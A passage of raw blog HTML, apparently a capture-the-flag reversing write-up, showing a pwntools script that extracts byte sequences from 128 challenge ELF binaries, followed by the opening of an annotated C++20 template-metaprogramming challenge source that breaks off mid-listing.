<source\n            srcset=\"/static/6a807aee929d05a44ccd3423171be7a0/8ff5a/image-20240311223834227.png 240w,\n/static/6a807aee929d05a44ccd3423171be7a0/e85cb/image-20240311223834227.png 480w,\n/static/6a807aee929d05a44ccd3423171be7a0/61c63/image-20240311223834227.png 693w\"\n            sizes=\"(max-width: 693px) 100vw, 693px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/6a807aee929d05a44ccd3423171be7a0/61c63/image-20240311223834227.png\"\n            alt=\"image-20240311223834227\"\n            title=\"image-20240311223834227\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Initially, I created a solver using pwntools’ ELF module to disassemble all the binaries and retrieve the answer byte sequences, but the overhead of loading files into pwntools’ ELF module was too large, making it impossible to analyze all 128 binaries within 60 seconds.</p>\n<p>So instead of saving the Base64-decoded data as files, I implemented an ELF parser to directly extract the byte sequences from the data in memory, and created the following solver.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\">from pwn import <span class=\"token operator\">*</span>\nimport base64\nimport binascii\nimport <span class=\"token keyword\">struct</span>\n\n<span class=\"token class-name\">CONTEXT</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"error\"</span>\ncontext<span class=\"token punctuation\">.</span>log_level <span class=\"token operator\">=</span> CONTEXT\n\nserver_address <span class=\"token operator\">=</span> <span class=\"token string\">\"94.237.63.46\"</span>\nserver_port <span class=\"token operator\">=</span> <span class=\"token number\">34606</span>\nconn <span class=\"token operator\">=</span> <span class=\"token function\">remote</span><span class=\"token punctuation\">(</span>server_address<span class=\"token punctuation\">,</span> server_port<span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">for</span> i in <span class=\"token function\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">129</span><span class=\"token punctuation\">)</span><span class=\"token operator\">:</span>\n    response <span class=\"token operator\">=</span> conn<span class=\"token punctuation\">.</span><span class=\"token function\">recvline_startswith</span><span class=\"token punctuation\">(</span>b<span class=\"token string\">\"ELF\"</span><span class=\"token punctuation\">)</span>\n    base64_binary <span class=\"token operator\">=</span> response<span class=\"token punctuation\">.</span><span class=\"token function\">decode</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token number\">6</span><span class=\"token operator\">:</span><span class=\"token punctuation\">]</span>\n    binary_data <span class=\"token operator\">=</span> base64<span class=\"token punctuation\">.</span><span class=\"token function\">b64decode</span><span class=\"token punctuation\">(</span>base64_binary<span class=\"token punctuation\">)</span>\n\n    <span class=\"token macro property\"><span class=\"token directive-hash\">#</span> <span class=\"token directive keyword\">with</span> <span class=\"token expression\"><span class=\"token function\">open</span><span class=\"token punctuation\">(</span></span><span class=\"token string\">\"second_binary\"</span><span class=\"token expression\"><span class=\"token punctuation\">,</span></span><span class=\"token string\">\"rb\"</span><span class=\"token expression\"><span class=\"token punctuation\">)</span> as f<span class=\"token operator\">:</span></span></span>\n    <span class=\"token macro property\"><span class=\"token directive-hash\">#</span>     <span class=\"token directive keyword\">binary</span><span class=\"token expression\">_data <span class=\"token operator\">=</span> f<span class=\"token punctuation\">.</span><span class=\"token function\">read</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></span></span>\n\n    entry <span class=\"token operator\">=</span> binary_data<span class=\"token punctuation\">.</span><span class=\"token function\">find</span><span class=\"token punctuation\">(</span>b<span class=\"token string\">\"\\x48\\x83\\xec\\x18\\x48\\x8d\\x35\"</span><span class=\"token punctuation\">)</span>\n    target <span class=\"token operator\">=</span> <span class=\"token keyword\">struct</span><span class=\"token punctuation\">.</span><span class=\"token function\">unpack</span><span class=\"token punctuation\">(</span><span class=\"token char\">'&lt;i'</span><span class=\"token punctuation\">,</span>binary_data<span class=\"token punctuation\">[</span>entry<span class=\"token operator\">+</span><span class=\"token number\">7</span><span class=\"token operator\">:</span>entry<span class=\"token operator\">+</span><span class=\"token number\">11</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span>entry<span class=\"token operator\">+</span><span class=\"token number\">11</span><span class=\"token punctuation\">)</span>\n    <span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token function\">hex</span><span class=\"token punctuation\">(</span>target<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token function\">print</span><span class=\"token punctuation\">(</span>binary_data<span class=\"token punctuation\">[</span>target<span class=\"token operator\">:</span>target<span class=\"token operator\">+</span><span class=\"token number\">0x18</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n    binary <span class=\"token operator\">=</span> binascii<span class=\"token punctuation\">.</span><span class=\"token function\">b2a_hex</span><span class=\"token punctuation\">(</span>binary_data<span class=\"token punctuation\">[</span>target<span class=\"token operator\">:</span>target<span class=\"token operator\">+</span><span class=\"token number\">0x18</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n    <span class=\"token function\">print</span><span class=\"token punctuation\">(</span>binary<span class=\"token punctuation\">)</span>\n\n    conn<span class=\"token punctuation\">.</span><span class=\"token function\">recvuntil</span><span class=\"token punctuation\">(</span>b<span class=\"token string\">\"Bytes? \"</span><span class=\"token punctuation\">)</span>\n    conn<span class=\"token punctuation\">.</span><span class=\"token function\">sendline</span><span class=\"token punctuation\">(</span>binary<span class=\"token punctuation\">)</span>\n    <span class=\"token function\">print</span><span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span>\n\nconn<span class=\"token punctuation\">.</span><span class=\"token function\">interactive</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\nconn<span class=\"token punctuation\">.</span><span class=\"token function\">close</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>Running this allowed me to analyze all the binaries within the time limit and obtain the correct flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 866px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/cd79b5814560ecf9a6463c6346a47d73/c1328/image-20240311223750061.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 74.16666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAACRklEQVQ4y12UWVcTQRCF50lROKiICChgNgjZJpNkJpN9myxkIYks//+flP3VLKIPdaq60qm+t+/tsbb2VJ4aD/LcWMquOpOneljT+11fyLO71HhtruUhP5DO96r0L2vSM0H2v5bEPshI9WNWw9rX5tr0vhTEPy1L61tZ182TojRNpqYf157px/sJ93NBB9kfwqHWi7sSUIIOZIqKXFsoqhdvpQjJm9JYuheODK9c6V3UZPCzYbIjzmHu78BXby2TlK8U2NS/rGvunleVXvfcidaOtM/sEHGEmgHld6mELkMtUIDwsTxRlDtTb0y9Lo5kVRhpf10cmxxIkG6ZK6noQQwHWeUgnURI2VCZZjoyuvZklu0o2vFNUya/fF0HqZbptXQYe/o/6kpVxTE1zFhzgCLcO3OZ57r6h2mmLYvbntZBui1zU7OmPzN7OAhRWoiEaCYQpnlSksanfETZ36hVFnd9Wd4PlR5UsUhIOVAxCBCDZhChrB/fSfl9SunG1rFQMFTN0U3Uw6tGQgWaOkRp2jqEAJFzlEsESURBiMdKYGwyV1G4gq1ZI8wushO/YXQQj2685J45RNGZQXFY0OVyQ/XsJBNcNEENA/+0FKI5zKrC/4dSZiCnbytT4dWAUFEbhAQuiJGCmivgWnABYpFBSs3BFi8CM7fPYmTVf9Bh6LjPntrRbRJQjAWJqasoPLW9M9Nnh8m5Q9CBNg5Y4ILhtRsJ50rjOJ8YOvk48FK45NiHsanJBL2p8eTyfqAmf2tmfuej8XboH6m82A/BhvGoAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/cd79b5814560ecf9a6463c6346a47d73/8ac56/image-20240311223750061.webp 240w,\n/static/cd79b5814560ecf9a6463c6346a47d73/d3be9/image-20240311223750061.webp 480w,\n/static/cd79b5814560ecf9a6463c6346a47d73/e299d/image-20240311223750061.webp 866w\"\n              sizes=\"(max-width: 866px) 100vw, 866px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/cd79b5814560ecf9a6463c6346a47d73/8ff5a/image-20240311223750061.png 240w,\n/static/cd79b5814560ecf9a6463c6346a47d73/e85cb/image-20240311223750061.png 480w,\n/static/cd79b5814560ecf9a6463c6346a47d73/c1328/image-20240311223750061.png 866w\"\n            sizes=\"(max-width: 866px) 100vw, 866px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/cd79b5814560ecf9a6463c6346a47d73/c1328/image-20240311223750061.png\"\n            alt=\"image-20240311223750061\"\n            title=\"image-20240311223750061\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"metagamingrev\" style=\"position:relative;\"><a href=\"#metagamingrev\" aria-label=\"metagamingrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Metagaming(Rev)</h2>\n<blockquote>\n<p>You come across an enemy faction, who have banded together and gathered their resources. You’ll need to outwit them, thinking outside the box - can you beat them before they even begin to run?</p>\n</blockquote>\n<p>This was a challenge that utilizes C++20’s Template Metaprogramming mechanism.</p>\n<p>This appears to be a mechanism that allows setting compile-time state and executing arbitrary processing.</p>\n<p>Reference: <a href=\"https://mc-deltat.github.io/articles/stateful-metaprogramming-cpp20\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Revisiting Stateful Metaprogramming in C++20 | Reece’s Pages</a></p>\n<p>Such code is evaluated at compile time and is not compiled into the binary, which makes it extremely difficult to debug.</p>\n<p>The following is the source code provided as the challenge, with some annotation comments added.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token comment\">// Use MSVC or `g++ -std=c++20`</span>\n\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;cstdint></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;array></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;iostream></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;numeric></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;type_traits></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;algorithm></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;variant></span></span>\n\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">ifndef</span> <span class=\"token expression\">__noop</span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name\">__noop</span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">endif</span></span>\n\n<span class=\"token comment\">// constexpr はコンパイル時に関数を評価し、コンパイル時定数として使用するための記法</span>\nconstexpr <span class=\"token class-name\">uint32_t</span> <span class=\"token function\">rotr</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">const</span> <span class=\"token class-name\">uint32_t</span> value<span class=\"token punctuation\">,</span> <span class=\"token keyword\">const</span> <span class=\"token keyword\">int</span> shift<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span> std<span class=\"token operator\">::</span><span class=\"token function\">rotr</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">,</span> shift<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\nconstexpr <span class=\"token class-name\">uint32_t</span> <span class=\"token function\">rotl</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">const</span> <span class=\"token class-name\">uint32_t</span> value<span class=\"token punctuation\">,</span> <span class=\"token keyword\">const</span> <span class=\"token keyword\">int</span> shift<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span> std<span class=\"token operator\">::</span><span class=\"token function\">rotl</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">,</span> shift<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// std::is_same の手動実装</span>\n<span class=\"token comment\">// static_assert(is_same_v&lt;int, int>, \"Types are not the same.\"); // コンパイル成功</span>\n<span class=\"token comment\">// static_assert(is_same_v&lt;int, float>, \"Types are not the same.\"); // コンパイルエラー</span>\n\n<span class=\"token comment\">// 2 つの型が異なる場合は False を返す</span>\ntemplate<span class=\"token operator\">&lt;</span>class<span class=\"token punctuation\">,</span> class<span class=\"token operator\">></span> constexpr bool is_same_v <span class=\"token operator\">=</span> false<span class=\"token punctuation\">;</span>\n<span class=\"token comment\">// 2 つの型が同じ型の場合は True を返す</span>\ntemplate<span class=\"token operator\">&lt;</span>class Ty<span class=\"token operator\">></span> constexpr bool is_same_v<span class=\"token operator\">&lt;</span>Ty<span class=\"token punctuation\">,</span> Ty<span class=\"token operator\">></span> <span class=\"token operator\">=</span> true<span class=\"token punctuation\">;</span>\n\n\n<span class=\"token comment\">// テンプレートメタプログラミングで審議地を使用するための定義</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">true_t</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">false_t</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token comment\">// bool_t という concept を定義している</span>\n<span class=\"token comment\">// bool_t コンセプトは、指定された型 Ty が true_t または false_t と同じかどうかをチェック</span>\ntemplate<span class=\"token operator\">&lt;</span>class Ty<span class=\"token operator\">></span> concept <span class=\"token class-name\">bool_t</span> <span class=\"token operator\">=</span> is_same_v<span class=\"token operator\">&lt;</span>Ty<span class=\"token punctuation\">,</span> <span class=\"token class-name\">true_t</span><span class=\"token operator\">></span> <span class=\"token operator\">||</span> is_same_v<span class=\"token operator\">&lt;</span>Ty<span class=\"token punctuation\">,</span> <span class=\"token class-name\">false_t</span><span class=\"token operator\">></span><span class=\"token punctuation\">;</span>\n\n<span class=\"token comment\">// テンプレートパラメータ &lt;bool Val> に基づき、型エイリアス T を定義する</span>\n<span class=\"token comment\">// Val が false の時、T は false_t となり、true の場合は true_t になる</span>\ntemplate<span class=\"token operator\">&lt;</span>bool Val<span class=\"token operator\">></span> \n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">to_bool</span> <span class=\"token punctuation\">{</span>\n    using T <span class=\"token operator\">=</span> <span class=\"token class-name\">false_t</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\ntemplate<span class=\"token operator\">&lt;</span><span class=\"token operator\">></span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">to_bool</span><span class=\"token operator\">&lt;</span>true<span class=\"token operator\">></span> <span class=\"token punctuation\">{</span>\n    using T <span class=\"token operator\">=</span> <span class=\"token class-name\">true_t</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token comment\">// to_bool_t は、to_bool テンプレートから T 型を直接取り出すエイリアステンプレート(false_t または true_t を得る)</span>\ntemplate<span class=\"token operator\">&lt;</span>bool Val<span class=\"token operator\">></span> using <span class=\"token class-name\">to_bool_t</span> <span class=\"token operator\">=</span> typename to_bool<span class=\"token operator\">&lt;</span>Val<span class=\"token operator\">></span><span class=\"token operator\">::</span>T<span class=\"token punctuation\">;</span>\n\n<span class=\"token comment\">// Ty が true_t に等しいかどうかを検証する</span>\ntemplate<span class=\"token operator\">&lt;</span><span class=\"token class-name\">bool_t</span> Ty<span class=\"token operator\">></span> constexpr bool from_bool_v <span class=\"token operator\">=</span> is_same_v<span class=\"token operator\">&lt;</span>Ty<span class=\"token punctuation\">,</span> <span class=\"token class-name\">true_t</span><span class=\"token operator\">></span><span class=\"token punctuation\">;</span>\n\n<span class=\"token comment\">// コンパイル時定数として、任意の文字を返す value 関数を含む char_value_t を定義する</span>\n<span class=\"token comment\">// constexpr auto ch = char_value_t&lt;'A'>::value();</span>\n<span class=\"token comment\">// static_assert(ch == 'A', \"The character must be A\");</span>\ntemplate<span class=\"token operator\">&lt;</span><span class=\"token keyword\">char</span> C<span class=\"token operator\">></span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">char_value_t</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span>nodiscard<span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span> constexpr <span class=\"token keyword\">static</span> <span class=\"token keyword\">char</span> <span class=\"token function\">value</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> C<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token comment\">// char_value_t を使用して、各文字をコンパイル時定数として表現している</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">a</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'a'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">b</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'b'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">c</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'c'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">d</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'d'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">e</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'e'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">f</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'f'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">g</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'g'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">h</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'h'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">i</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'i'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">j</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'j'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">k</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'k'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">l</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'l'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">m</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'m'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">n</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'n'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">o</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'o'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">p</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'p'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">q</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'q'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">r</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'r'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">s</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'s'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">t</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'t'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">u</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'u'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">v</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'v'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">w</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'w'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">x</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'x'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">y</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'y'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">z</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'z'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">A</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'A'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">B</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'B'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">C</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'C'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">D</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'D'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">E</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'E'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">F</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'F'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">G</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'G'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token 